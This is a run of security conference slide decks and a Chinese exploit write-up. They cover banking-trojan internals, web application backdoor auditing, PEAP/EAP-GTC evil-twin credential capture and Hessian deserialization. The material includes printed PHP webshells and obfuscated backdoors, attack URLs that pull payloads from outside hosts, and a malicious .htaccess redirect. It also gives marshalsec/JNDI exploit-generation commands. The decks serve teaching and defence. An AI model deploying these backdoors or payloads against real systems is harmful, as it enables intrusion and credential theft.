regulated. ○ In USA: High concentration, marketing to minors, black market products, > 50 deaths ○ In UK: Lower concentration, Youth usage 4x lower, used in smoking cessation, 0 deaths ● Virginity pledges ○ Teens who pledge equally likely to have sex ○ Teens who pledge less likely to use contraception, less likely to test for STDs, have STDs for longer ● War on Drugs (the birthplace of harm reduction) ○ Syringe sharing reduces new HIV infections by 70% ○ Safe injection sites decrease overdoses by 35% ○ Access to Naloxone reduces overdoses by 11% Use reduction must be supported with additional strategies Design treatments that reduce that harm Similar to defense in depth Example #1 Example #2 Example #3 “Never include your face” “Make sure that your communications are in a secret chat with self-destructing messages set to a short timeframe.” 2FA: TOTP > SMS > Nothing Don’t do that Try not to do that, but if you do then here are some ways to be safe 1. Accept that risk taking behaviors are here to stay 2. Prioritize reduction of negative consequences 3. Embrace compassion while providing guidance Why? There is stigma associated with high risk behaviors Stigmatizing can break down defenses Empathy & compassion > confrontation Compassion includes improving quality of life Encourage change through collaboration, accessibility, and kindness People make positive choices when they have access to support and education Caring for people who make high risk choices can motivate them to make better choices Caring for people is more fun, it reduces burnout and improves practitioner efficacy What does the research show? ● Shaming and stigmatizing reduce efficacy, increase harm ○ Scared straight increased crime amongst participants up to 28% ○ HIV-related stigma causes lower rates of testing, treatment engagement, and medication adherence. ○ Obesity-related stigma reduces motivation, and engagement in treatment, increasing weight and obesity related health problems. ● Compassionate care improves trust, reduces harm ○ Diabetes patients with compassionate doctors showed increased adherence to guidance, 40% less likely to have complications, 80% more likely to have optimal blood sugar control ○ Patients who trust their physicians show 47% less brain activity in pain centers ● Compassion makes practitioners more effective ○ Non-adherence to health care guidance costs USA $100-$300 billion annually. ○ Compassionate communication leads to 62% higher odds of patient adherence to treatment ○ Doctors with poor patient relationships 22x more likely to experience burnout, burnout reduces quality in 33% of all doctors. Confrontation & shaming makes security practitioners less effective Compassion will make security practitioners more effective Replacing conflicts with empathy will reduce burnout Example #1 Example #2 Example #3 “Hitch your wagon to developer productivity” Astha Singhal, AppSec Cali 2019 “Knowledge Shaming Is Making Us Less Secure” Regina Blumen, Blackhat EU 2021 Concluding thoughts Harm reduction is effective in healthcare Incorporate harm reduction and you could see: ● improved efficacy ● reduced costs ● reduced burnout Remember the harm reduction framework: 1. Accept that risk taking behaviors are here to stay 2. Prioritize reduction of negative consequences 3. Embrace compassion while providing guidance Wherever risk exists on a spectrum harm reduction has a place Don’t do that Try not to, but if you do then here are some ways to be safe Questions? Contact info: Twitter.com/kylekyle Tiktok.com/@kyle.tobener Linkedin.com/in/kyletobener/ Additional Notes Sources ● "War on Drugs. The Global Commission on Drug Policy". 2011. p. 24. ● Boonstra, HD (2009). "Advocates call for a new approach after the era of 'Abstinence-Only' sex education". Guttmacher Policy Review. 12 (1): 1–6. ● Chen KY, Yang CM, Lien CH, Chiou HY, Lin MR, Chang HR, Chiu WT. (2013) "Burnout, job satisfaction, and medical malpractice among physicians". Int J Med Sci. 2013 Aug 28 ● Dasan S, Gohil P, Cornelius V, et alPrevalence, causes and consequences of compassion satisfaction and compassion fatigue in emergency care: a mixed-methods study of UK NHS ConsultantsEmergency Medicine Journal 2015 ● Del Canale S, Louis DZ, Maio V, Wang X, Rossi G, Hojat M, Gonnella JS. (2012) "The relationship between physician empathy and disease complications: an empirical study of primary care physicians and their diabetic patients in Parma, Italy". Acad Med. 2012 Sep. ● Gibler, C., Akhawe, D., DePerry, D., Dwarakanth D., Heasman J., Singhal, A. (2019). "Lessons Learned from the DevSecOps Trenches", 2019 AppSecCali, https://www.youtube.com/watch?v=QbKTEOgywwM&list=PLpr-xdpM8wG-bXotGh7OcWk9Xrc1b4pIJ ● Hojat M, Louis DZ, Markham FW, Wender R, Rabinowitz C, Gonnella JS. (2011). "Physicians' empathy and clinical outcomes for diabetic patients". Acad Med. 2011 Mar ● Jarlais, D. (2017). "Harm reduction in the USA: the research perspective and an archive to David Purchase", Harm Reduction Journal volume 14, 2017. ● Kim, G. (2022). "Making you safer with 2SV". Google Safety & Security Blog, https://blog.google/technology/safety-security/reducing-account-hijacking/. ● Lain, D., Kostiainen, K., & Capkun, S. (2021). Phishing in Organizations: Findings from a Large-Scale and Long-Term Study. ArXiv, abs/2112.07498. ● Lilienfeld, S. O. (2007). "Psychological treatments that cause harm" . Perspectives on Psychological Science, 2, 53–70. ● Petrosino A, Turpin-Petrosino C, Buehler J. (2002). "Scared Straight" and other juvenile awareness programs for preventing juvenile delinquency. Cochrane Database Syst Rev. 2002. ● Wash, R., Rader, E., Berman, R., Wellmer Z. (2016, June 22nd - 24th). "Understanding Password Choices: How Frequently Entered Passwords Are Re-used across Websites", SOUPS 2016, Denver, CO, United States. ● Marlatt, G., Larimer, M., Witkiewitz, K. (2012). "Harm Reduction". ● Patchin, JW., Hinduja, S. (2019) "It is Time to Teach Safe Sexting". Journal of Adolescent Health Health. 2020 Feb;66(2):140-143. ● Galperin, E. (2022). "Telegram Harm Reduction for Users in Russia and Ukraine". Electronic Frontier Foundation, https://www.eff.org/deeplinks/2022/03/telegram-harm-reduction-users-russia-and-ukraine. Sources (continued) ● Miron, Jeffrey; Zwiebel, Jeffrey (1991). "Alcohol Consumption During Prohibition". American Economic Review. Papers and Proceedings. ● Mondloch, M. V., Cole, D. C., Frank, J. W. (2001). "Does How You Do Depend On How You Think You'll Do? A Systematic Review of the Evidence for a Relation Between Patients' Recovery Expectations and Health Outcomes". CMAJ 165, no. 2. July 24th, 2001. ● Ott, M. A., & Santelli, J. S. (2007). Abstinence and abstinence-only education. Current opinion in obstetrics & gynecology, 19(5), 446–452. ● Pearl, B. (2018). "Ending the War on Drugs: By the Numbers". The Center For American Progress. ● Ratanawongsa N, Karter AJ, Parker MM, Lyles CR, Heisler M, Moffet HH, Adler N, Warton EM, Schillinger D. (2013) "Communication and medication refill adherence: the Diabetes Study of Northern California". JAMA Intern Med. 2013 Feb 11. ● Sarinopoulos I, Hesson AM, Gordon C, Lee SA, Wang L, Dwamena F, Smith RC. (2013). "Patient-centered interviewing is associated with decreased responses to painful stimuli: an initial fMRI study". Patient Educ Couns. 2013 February. ● Szalavitz, M. (2021). "Undoing Drugs". ● Thornton, M. (1991). "Alcohol Prohibition Was A Failure", Cato Policy Analysis No. 157, The Cato Institute. ● Tobener, K., Lapucci, A. (2019). "Throw Open The Gates: Trading Control For Visibility", 2019 44Con. ● Trenholm, C., Devaney, B., Fortson, K., Quay, Lisa. (2007). "Impacts of Four Title V, Section 510 Abstinence Education Programs". ASPE. December 8, 2016. ● Trzeciak, S., Mazzarelli, A. (2019). "Compassionomics". ● Zolnierek KB, Dimatteo MR. Physician communication and patient adherence to treatment: a meta-analysis. Med Care. 2009 Aug ● Zullig, L., Bosworth, H. (2017) "Engaging Patients to Optimize Medication Adherence". New England Journal of Medicine Catalyst, March 29, 2017. ● Werch CE, Owen DM. Iatrogenic effects of alcohol and drug prevention programs. J Stud Alcohol. 2002 Sep;63(5):581-90. doi: 10.15288/jsa.2002.63.581. PMID: 12380855. ● Bluman, R (2021). "No Such Thing as a Stupid Question: Why. Knowledge Shaming is Making Us Less Secure", Blackhat Europe 2021, youtube.com/watch?v=c2opGuxyawo ● "Stangl, A.L., Earnshaw, V.A., Logie, C.H. et al. (2019). ""The Health Stigma and Discrimination Framework: a global, crosscutting framework to inform research, intervention development, and policy on health-related stigmas."" BMC Med 17, 31. Background Art All images contained in the slides were generated using MidJourney AI v3. If you’d like to see how I did this I’ll post a walkthrough on Twitter after Blackhat: @kylekyle
pdf
Module 2 Typical goals of malware and their implementations https://github.com/hasherezade/malware_training_vol1 Dissecting a Banking Trojan Banking Trojans - families • Zbots – (a family of various forks of the ZeuS code) • IcedID • Tinba • Gozi (and Gozi-based) • Kronos • TrickBot (some of the modules) • ...and others Elements of a Banking Trojan • Classic banking trojans modify the content of selected websites (related to banking transactions) • Webinjects • Webgrabbers • An important element of a banking trojan is MITB proxy (Man-In-The-Browser) • MITB proxy is a local proxy via which the traffic is bypassed and modified • Sometimes to bypass the protections used by banks, the operator needs to remotely access and use the victim machine (using Hidden VNC) Elements of a Banking Trojan Malicious implant Malware core module Communicate with the C2 server Browser process A process running malware core Elements of a Banking Trojan • Malware can run its own Proxy server to which the browser will connect, whenever it tries to connect with the target address • The redirection is implemented by hooking the function responsible for establishing the connection • The traffic that bypassed by the malicious proxy is parsed, and may be augmented with webinjects Operation of a Banking Trojan • Instead of connecting directly to the remote server, the browser connects to the local proxy, run by the malware’s core module infected Operation of a Banking Trojan • The requested page is first processed by the malicious proxy... original Operation of a Banking Trojan • The proxy uses a special template to know where to implant the webinjects • When the pattern is found, the malicious code is implanted infected MiTB Proxy - implementation • Run a local proxy able to parse HTTP/HTTPS traffic • Requires generating your own certificate • Redirect all the HTTP/HTTPS traffic via the local proxy: • Hook functions in the browser: • 1) the functions responsible for establishing the connection • 2) the functions responsible for accepting the certificate • Parse and augment the traffic MiTB Proxy – hooks example • The functions responsible for establishing connection: • The functions responsible for accepting the certificate Ws2_32.connect Nss32.SSL_AuthCertificateHook Example: Iced ID (Firefox) MiTB Proxy – hooks example • The functions responsible for establishing connection: • The functions responsible for accepting the certificate Ws2_32.connect mswsock.dll + RVA:0x7852 Crypt32.CertGetCertificateChain Crypt32.CertVerifyCertificateChainPolicy Example: Iced ID (IExplore) MiTB Proxy – hooks example • The functions responsible for establishing connection: • The functions responsible for accepting the certificate Ntdll.NtDeviceIoControlFile -> args: AFD_CONNECT, AFD_X32_CONNECT Crypt32.CertGetCertificateChain Crypt32.CertVerifyCertificateChainPolicy Example: SilentNight Zbot (IExplore) MiTB Proxy – hooks example • The functions responsible for establishing connection: • Instead of API hooking, the certificate is installed by Certutil Ntdll.NtDeviceIoControlFile -> args: AFD_CONNECT, AFD_X32_CONNECT Example: SilentNight Zbot (Firefox) Traffic redirection–examples • We are given a dump of the implants found in the browser process by PE-sieve. Analyze what hooks have been installed and how do they implement the traffic redirection Case-study time... Webinjects – implementation • The definitions of Webinjects following the ZeuS standard: set_url https://* G data_before <title> data_end data_after </title> data_end data_inject INJECT data_end P - run on POST request. G - run on GET request. L - if this symbol is specified, then the launch occurs as an HTTP grabber, if not specified, then as an HTTP injection. H - complements the "L" character, saves content without HTML tag clipping. In normal mode, all HTML tags are deleted, and some are converted to the newline or space character. I - compare the case-sensitive url parameter (for the English alphabet only). C - compare case insensitive (for the English alphabet only). B - block execution of the injection. Webinjects – implementation • The webinjects are installed following a configuration file, that is usually downloaded from the C2 server Example:Silent Night Zbot (Internet Explorer) Webinjects – implemantation • After decrypting the traffic we can see the familiar patterns: Example:Silent Night Zbot (Internet Explorer) Webinjects - implementation • The definitions of Webinjects in the malware configuration file: https://gist.github.com/hashereware/07b9c2a8624498030a942fccf277bbdb#file-webinjects1-txt-L80 Webinjects - implementation • This is where the observed script came from... Hidden VNC – the idea • In order to perform some banking operations, the attackers need to use a VNC on the victim machine • In a normal case, the victim could see the attacker’s movements on their desktop • In order to hide it, the attackers use the feature of alternative desktops • this feature is well-known to Linux users, but not common – yet feasible - on Windows • You can create an alternative Desktop on Windows, and switch some applications to be displayed there • Example: https://github.com/MalwareTech/CreateDesktop/ Hidden VNC – overwiew Send screenshots Clicks, movements Send screenshots HiddenVNC module The malware operator Create the Hidden Desktop Perform the actions on the Hidden Desktop Get updated state Render a local view Perform the actions on the local view Update the local view Hidden VNC - rendering • Windows renders only the elements for the currently active desktop – so, using the alternative desktop simultaneously is not easy: requires manual implementation of the rendering • EnumDesktopWindows – get list of all Windows running on the Desktop • PrintWindow – render the window to a bitmap • messages: WM_PRINT, WM_PRINTCLIENT • Some applications don’t handle those messages: so, the malware has to hook them, and provide its own implementations • It can be implemented i.e. by hooking user32.dll, or window subclassing (SetWindowLong , SetWindowLongPtr) Hidden VNC – user input • The messages about the user input (keyboard, mouse, etc) will be send only the active Desktop • The Hidden VNC module has to implement emulation of a virtual keyboard and mouse • It requires keeping track of every window on the Hidden Desktop, each locations, and on which of them the mouse cursor is • Sending PostMessage to the active window to emulate the user input Hidden VNC – examples • Many Banking trojans use Hidden VNC as a separate module • IcedID („helpdesk” module) • 2959091ac9e2a544407a2ecc60ba941b – helpdesk.dll • Silent Night Zbot (hvnc32.dll/hvnc64.dll) • 7ee0fd4e617d98748fbf07d54925dc12 – hvcn32.dll Case-study time: open the provided Hidden VNC sample in IDA Further readings... • The “Silent Night” Zloader/Zbot: • https://resources.malwarebytes.com/files/2020/05/The-Silent-Night-Zloader-Zbot_Final.pdf
pdf
QARK Who are we? APK structure Reversing APKs Components Communications What’s (still) wrong with Android? What is QARK? What QARK is not (yet) QARK motivation QARK’s mission Under the hood What does QARK do? Tying it all together What else? Then what? What else? The fun part Demo time! Future plans Where to get QARK? Acknowledgements Contact Info
pdf
1 The state of web application security 2012 Robert Rowley Security Architect DreamHost Robert.Rowley@DreamHost.com 1 Break Down Attack Trends Attacker Motivation Auditing Backdoors 2 Trends 3 Collecting data Web Application Firewall (mod_security) Running on 1,000,000+ websites Centralized logging 4 Trend data sets 26 Million records. Time frame: August 2011 – Present 5 Attacks! 6 Breaking it down 7 Specific attacks against software CVE-2009-2254 ● E107 – Remote code execution – ?var=[php]exec(); – Released May 2010 (CVE-2010-2099) ● ZenCart – SQL injection/execution – Released May 2009 (CVE-2009-2254) 8 E107 ZenCart 9 timthumb ● Allows arbitrary file upload ● Including fully functional php files ● Popular wordpress theme component ● (not part of wordpress core, or plugins) ● Released August 2011 (CVE-2011-4106) 10 E107 ZenCart 11 timthumb 12 Puberty Maturity Life-cycle of an exploit 13 Theory about this trend... Attacks are automated. – Lead time for attack code update. Successful compromise adds a new node. – This creates fluctuations in growth. 14 PHP-CGI remote code execution ● Arbitrary code execution ● Source code disclosure ● Denial of service ● Released May 2012 (CVE-2012-1823) ● Our staff was notified ● We rolled out a virtual patch before the 0day was released. 15 E107 ZenCart timthumb 16 0-D ay PHP-CGI 17 PHP-CGI Puberty 18 Attack Response Notify the ISP's abuse desk 90 ISPs notified each day Most are non-responsive to the report. 19 Attack sources  Home/Business ISP (20%)  Hosting/Datacenter (80%) 20 A little about incident response 21 Response breakdown Immediate mitigation Put out the fire Monitor Review Long term fixes Correct business policy Secure code and/or configurations Etc... 22 Standard approach Monitoring Vulnerability released, Incident Assessment, Incident Response Evaluation, Update 23 Better approach Monitoring Vulnerability released, Incident Assessment, Incident Response Evaluation, Update 24 Auditing nitty gritty File monitoring (you do this right?) Logs (correlate timestamps) Logs (sort by request!) No logs? Malware detection by hand 25 FileSystem Monitoring Part of your backups. Just use rsync Inotify (kernel level) Tripwire (daemon/service) DIY 26 Digging in with timestamps. $ ls -la omgfire.com/backdoor.php -rw-rw-r-- 1 user grp 0 Feb 13 21:52 omgfire.com/backdoor.php $ grep 21:52: logs/omgfire.com/access.log.2012-02-13 123.125.71.31 - - [13/Feb/2012:21:52:53 -0800] "POST /wp-content/plugins/hello.php HTTP/1.1" 200 158 "-" "Mozilla" 27 Digging in with HTTP logs $ awk '{print $7}' access.log | sort | uniq -c | sort -n 28 $ awk '{print $7}' access.log | sort | uniq -c | sort -n 1 /phpMyAdmin-2.2.3/index.php 1 /phpMyAdmin-2.5.5-pl1/index.php 1 /phpMyAdmin-2.5.5/index.php 1 /phpMyAdmin-2.5.6-rc2/index.php 1 /phpMyAdmin/index.php 1 /pma/index.php 1 /web/phpMyAdmin/index.php 1 /websql/index.php 2 /phpmyadmin/index.php 4 /robots.txt 242 / Digging in with HTTP logs 29 No success? Lets get into some backdoor auditing These backdoors were found in the wild Show you what to look for Learn more about the attacker's methods 30 Using find to find ● Use “find” on any linux/unix server find /www/path -exec grep “$fingerprint” ● Use generic fingerprints of commands that execute code. – eval, preg_replace, exec, assert, etc... ● Use fingerprints of known backdoors 31 Using find to cleanup ● find /www/path -exec grep “$fingerprint” {} \; ● find /www/path -exec grep “$fingerprint” {} \; -exec chmod 0 {} \; ● find /www/path -exec grep “$fingerprint” {} \; -exec sed “s/$fingerprint//” {} \; 32 Attacker Motivation ? 33 Attacker Motivation $ 34 Find an exploit? Do the right thing. Bounty programs (facebook, google, paypal) Responsible disclosure Don't become a criminal 35 0-day to Pay-day  Install backdoors  Sell access to backdoors on the black market Phishing Spam BlackHat SEO Traffic Theft Install more backdoors 36 Payday Phishing Identity/Password theft http://site/some_dir/www.bankingsite.com/ 37 Payday Spam Everyone knows this already 38 Payday BlackHat SEO Hidden links injected on site Redirect visitors 39 Payday Traffic Theft Javascript/Iframe/other Redirect site traffic to malicious pages (malware installs) Flashback trojan 40 Payday Install more backdoors on the site Why not? Backdoor on backdoor action 41 Little more on traffic theft. Q1 2012 we noticed an influx of these Actions were taken, data was recorded 42 Example .htaccess infection: ErrorDocument 404 http://congatarcxisi.ru/ RewriteCond %{HTTP_REFERER} ^.*(google|yahoo|... RewriteRule ^(.*)$ http://congatarcxisi.ru/ [R=301,L] 43 Collection  Pulled the remote site from any .htaccess similar to the previous example.  1000 unique domains found Let's break it down 44 SiteCheck report  Safe ( 2%)  Low Risk (29%)  Malicious (31%)  Unknown (38%) 45 TLD  .ru (64%)  .com (14%)  .info ( 8%)  .in ( 8%)  .org ( 3%)  .net ( 2%)  other ( 1%) 46 Registrars  Reg.ru (50%)  Directi (18%)  Other (18%)  GoDaddy (13%) 47 IP address  other (33%)  208.87.35.103 (22%)  94.63.149.246 (10%)  208.73.210.29 ( 9%)  69.43.161.154 ( 5%)  221.132.34.163 ( 5%)  95.211.131.185 ( 4%)  74.117.116.96 ( 4%)  94.63.149.247 ( 2%)  79.137.226.90 ( 2%)  69.165.98.21 ( 2%)  194.28.114.102 ( 2%) 48 Backdoor evolution Plaintext Base64 decode Preg_replace and beyond!!! 49 Collection ● Compromised sites ● Attack logs 50 Getting backdoors from attack logs timthumb.php ● Example malicious URL …/timthumb.php?src=http://flickr.com.bpmohio.com/bad.php ● Download Backdoor curl http://flickr.com.bpmohio.com/bad.php ● Review/Categorize/Report o--=[ r57 PHP Shell ]=--o $version = “2009”; 51 Getting backdoors from attack logs PHP-CGI ● Example malicious URL /?-d...auto_prepend_file=http://64.109.183.21/bin/acesso.txt ● Download Backdoor wget http://64.109.183.21/bin/acesso.txt ● Review/Categorize/Report r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru version = “1.666”; 52 Dead Simple <?php eval($_POST['payload']); ?> 53 Some Authentication if(md5($_COOKIE['be80d91eb9db4ffa']) == "e8fa67e99b7e07e9e699f8c3d1dbb43d" ) { eval($_POST['payload']); exit; } 54 Well Documented #####cfg##### # use password true / false # $create_password = true; $password = "mugus"; // default password # UNIX COMMANDS # description (nst) command # example: Shutdown (nst) shutdown -h now ######ver#### $ver= "v2.1"; ############# $pass=$_POST['pass']; if($pass==$password){ ... 55 Base64 decode eval(base64_decode('JGF1dGhfcGFzcyA9IC... 56 Base64 decode eval(base64_decode('JGF1dGhfcGFzcyA9IC... My favorite way to handle them: sed s/eval/print/g < inputfile > outputfile print(base64_decode('JGF1dGhfcGFzcyA9IC... PHP parser outputs: $auth_pass = "35a93487bc9204c... 57 GZinflate <? error_reporting(0); echo "ok!"; $code = "xZbNYaMwFFP3lfoO7JJHwnXa … “; @eval(gzinflate(base64_decode($code))); ?> 58 Gold star for trying ... eval(gzinflate(str_rot13(base64_decode('FJ3FjsNculJfpX T9WB6YVnfdltmJmW ... 59 Regex revenge preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67... 60 Regex revenge preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67... 65 = e 76 = v 61 = a 6C = l 28 = ( 61 Variables as functions $HixNlV='as';$eQovrf='e';$xsEWcg=$HixNlV.'s'.$eQovr f.'r'.'t';$HtJYXB='b'.$HixNlV.$eQovrf.(64).'_'.'d'.$eQo vrf.'c'.'o'.'d'.$eQovrf; @$xsEWcg(@$HtJYXB('ZXZhbChnemluZm... 62 Variables as functions $HixNlV='as';$eQovrf='e';$xsEWcg=$HixNlV.'s'.$eQovr f.'r'.'t';$HtJYXB='b'.$HixNlV.$eQovrf.(64).'_'.'d'.$eQo vrf.'c'.'o'.'d'.$eQovrf; @$xsEWcg(@$HtJYXB('ZXZhbChnemluZm... assert(base64_decode('ZXZhbChnemluZm... 63 Uhm what... $FR='sFwFLOzO'|~OU; $cYqFBi=r7bSCQ&'J|Ok@V'; $z3X0fdta1Nz="c>_"&'Q7['; $kg6i=#qfapJag'.']/=nX/'^'8'.KyK6.'{'; $iZBTF=lsrc.'<'.Smef&srzI.':'.VmqH; 64 Itty Bitty Bitwise Operators $FR='sFwFLOzO'|~OU; $cYqFBi=r7bSCQ&'J|Ok@V'; $z3X0fdta1Nz="c>_"&'Q7['; $kg6i=#qfapJag'.']/=nX/'^'8'.KyK6.'{'; $iZBTF=lsrc.'<'.Smef&srzI.':'.VmqH; 65 Backdoor Conclusions Attackers are evolving their code Fingerprinting can be untrustworthy Monitor your filesystem 66 Thank you Trustwave (mod_security) DreamHost & DreamHost customers White hat security researchers OWASP Security BSides HITcon 67 Further Reading Mikko Hypponen (TED talks) http://blog.spiderlabs.com http://blog.dreamhost.com/category/security Want to follow up? Email: robert.rowley@dreamhost.com Twitter: @iamlei 68
pdf
John Shaw, Wisconsin DOT, 2013 Federal Highway Administration, 2013 Non-Significant Address Part (NAP) Upper Address Part (UAP) Lower Address Part (LAP) 00:00 09 4E:22:19 Manufacturer-assigned, irrelevant Can be derived from traffic Sent in every packet University of Washington STAR Lab Washington State Transportation Center, 2011 University of Washington STAR Lab Edward Snowden by way of the Washington Post
pdf
BYO-Disaster Why Corporate Wireless Still Sucks! We’re just nerds with random ideas and inconsistent results! djwishbone PuNk1nPo0p Why you should stay! What   Obtain Clear-Text credentials from any PEAP enabled WPA2-Enterprise Network without cracking a single HASH.   Get access to a new set of tools that automates all the attacks for you. How   Explore a “Functionality Issue” discovered with how IOS / OSX devices process MSChapV2.   Demonstrate the use of EAP-GTC as the inner authentication mechanism in place of MSChapV2 Association Stuff Radius Access Request EAP Response (Identity) EAP Request (Identity) PEAP Start PEAP Start EAP Type Proposal TLS Tunnel Setup TLS Setup Stuff TLS Setup Stuff Inner EAP MsCHAPv2 Send Identity Again Send Identity Again MsCHAPv2 Challenge MsCHAPv2 Challenge Response w/ Client Challenge Response with Client Challenge Success w/ Challenge Response Success w/ Challenge Response MsCHAPv2 Success MsCHAPv2 Success EAP-TLV Success EAP-TLV Success EAP-TLV Success EAP-TLV Success EAP Success Install Keys on AP EAP Success Finish Connection Stuff Client Responds with MS-ChapV2 hash and Peer Challenge Accept Password Anyway Server Sends TLV-Success No Password in database Peer Challenge does not match Uh, what? Fine, why not Client Responds TLV-Success IPWNER Reject Password Client Checks for Captive Portal Attacker Responds with Captive Portal Server Challenges Client Now that the MITM is complete, we can direct all DNS requests to our captive portal page and capture credentials in Clear-Text! Clear-Text Anyone? What Just Happened?   IOS/OSX supplicants do not appear to require MSChapV2 success when connecting to the wireless network. So much for mutual authentication L   Bypassing inner authentication   Establishing a MITM connection   Trapping captive portal request sent by the mobile device by default, and redirect it to our malicious portal   User re enters credentials which are now captured in clear-text. Hackers Win again! Responsible Disclosure hahaha, funny! The Hacker   I discovered a way to expose your backdoor and urge you to patch it up before someone dumps a nasty payload in it! Here’s all my research, screenshots, etc..   (A month later) Can I get the status of ticket number 999999999999999999999999 999999999999999999999? The Sociopath (Corp)   Thank You! Though you’re probably wrong! We will have our outsourced MSP put 10 tards on it right away and never get back to you. Have a blessed day!   Hi, me Josh 4379. I see not what you say, I like gummy bears, ticket closed!... Have a blessed day! “After examining your report we do not see any actual security implications.  It is the responsibility of the client to ensure that they are communicating with a trusted server before attempting the MSCHAPv2 inner authentication. (The server could just as well have suggested the EAP- GTC protocol, after which the client would have provided its password in cleartext as the server instructed.)” GENERIC TOKEN CARD   EAP Method created by Microsoft/Cisco for use with PEAPv1   Created to support hardware token cards and one time passwords   Similar to PEAPv0 EAP-MSCHAPv2 with no peer challenge   Some clients do not state what type of password they are asking for, they just prompt for a username and password   Can we use this to our advantage? Client Responds with “GTC” password Server Sends TLV-Success anyway GTC fails No password for user Sure I trust you why not Client Responds TLV-Success PEAPINGTOM Full connection established Server Requests one-time password Clear-Text Anyone? Thanks Radius, it was awesome of you to put clear text passwords in your debug file! GTC Attack – PEAPingtom   Attack works on devices that support PEAPv1-GTC natively.   IOS/OSX   Android (does not prompt for cert, NEAT!)   *n?x works in Ubuntu but does require user setup   Windows – safe for now, no native support   No captive portal required, MITM attack is trivial and includes clear text passwords   Instant capture of MSCHAPv2 passwords on IOS devices after user accepts certificate from evil twin. Things You Need! •  Host system •  Ubuntu 12.04 •  Wi-Fi Adapter •  Alfa AWUS051NH •  Radius Patch •  PuNk1n.patch •  HAVOC-APPS •  LootBooty Wi-Fi Tools A historical perspective   Cracking hashes is too hard   Can we trick the client into just giving it to us?   What if radius accepted everything?   Started with past work from other attacks.   Unexpected discoveries www.LootBooty.com Thank You!
pdf
S-hessian反序列化 介绍 自己不会查吗? 这里有一个点就是Hessian的序列化与反序列化与原生序列化与反序列化不同,就以使用的Resin链而言,其中的ja vax.naming.spi.ContinuationDirContext类并没有实现java.io.Serializable接口,但是hessian还是可以 正常对他进行序列化,用原生的序列化方式就会失败。区别就在于序列化对象时的一个设置,可以让未继承java.i o.Serializable接口的类进行序列化。 使用 hessian的使用有很多场景,也结合了 servlet和 spring,这里的使用先使用自行封装,然后调试分析漏洞成因, 最后再看整合后的集中情况。 <dependencies> <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.38</version> </dependency> <dependency> <groupId>com.caucho</groupId> <artifactId>resin</artifactId> <version>4.0.63</version> <scope>provided</scope> </dependency> <!-- https://mvnrepository.com/artifact/com.caucho/quercus --> <dependency> <groupId>com.caucho</groupId> <artifactId>quercus</artifactId> <version>4.0.66</version> </dependency> </dependencies> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package ; import HessianInput; import HessianOutput; import Dao.User; import *; import ArrayList; import Logger; public class HessionUtils { private static byte[] serialize(Object object){ try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); hessianOutput.writeObject(object); return byteArrayOutputStream.toByteArray(); }catch (Exception e) { e.printStackTrace(); return null; } } private static Object deserialize(byte[] bytes){ try { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); HessianInput hessianInput = new HessianInput(byteArrayInputStream); Object o = hessianInput.readObject(); return o; }catch (Exception e){ e.printStackTrace(); } return null; } public static void main(String[] args) { User zhangsan = new User("zhangsan", 20, true); byte[] serialize = serialize(zhangsan); System.out.println(new String(serialize)); User deserialize =(User) deserialize(serialize); String s = deserialize.toString(); System.out.println(s); System.out.println("*******************int类型*****************"); int age = 100; byte[] ageSrial = serialize(age); System.out.println(new String(ageSrial)); int ageUnserial =(int) deserialize(ageSrial); System.out.println(ageUnserial); System.out.println("*******************String类型*****************"); String name="lisi"; byte[] nameSerial = serialize(name); System.out.println(new String(nameSerial)); com.example com.caucho.hessian.io. com.caucho.hessian.io. com.example. java.io. java.util. java.util.logging. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 String nameUnserial =(String) deserialize(nameSerial); System.out.println(nameUnserial); System.out.println("*******************arraylist类型*****************"); ArrayList<String> strings = new ArrayList<>(); strings.add("test");strings.add("demo"); byte[] listSeria = serialize(strings); System.out.println(new String(listSeria)); ArrayList listUnserial= (ArrayList)deserialize(listSeria); System.out.println(listUnserial); // String filePath="D:\\java\\project\\serial\\marshalsec-master\\target\\hession"; byte[] bytes = fileToBytes(filePath); Object deserialize1 = deserialize(bytes); //com.caucho.hessian.server.HessianServlet } public static byte[] fileToBytes(String filePath) { byte[] buffer = null; File file = new File(filePath); FileInputStream fis = null; ByteArrayOutputStream bos = null; try { fis = new FileInputStream(file); bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while ((n = fis.read(b)) != -1) { bos.write(b, 0, n); } buffer = bos.toByteArray(); } catch (FileNotFoundException ex) { } catch (IOException ex) { } finally { try { if (null != bos) { bos.close(); } } catch (IOException ex) { } finally{ try { if(null!=fis){ fis.close(); } } catch (IOException ex) { } } 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 漏洞复现 启动JNDI服务: JNDI-Injection-Exploit:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127. 0.0.1 生成payload hessian的payload需要使用marshalsec来生成。marshalsec:java.exe -cp .\marshalsec-0.0.3-SNAPSHOT- all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7 >>hession } return buffer; } } 110 111 112 113 114 反序列化 漏洞分析 payload生成 marshalsec.gadgets.Resin#makeResinQName() package ; import Constructor; import Hashtable; import CannotProceedException; import Reference; import DirContext; import QName; import MarshallerBase; import UtilFactory; import Reflections; public interface Resin extends Gadget { marshalsec.gadgets java.lang.reflect. java.util. javax.naming. javax.naming. javax.naming.directory. com.caucho.naming. marshalsec. marshalsec. marshalsec.util. 1 2 3 4 5 6 7 8 9 10 11 12 13 @Args ( minArgs = 2, args = { "codebase", "class" }, defaultArgs = { MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass } ) default Object makeResinQName ( UtilFactory uf, String[] args ) throws Exception { Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NL S-1$ Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, H 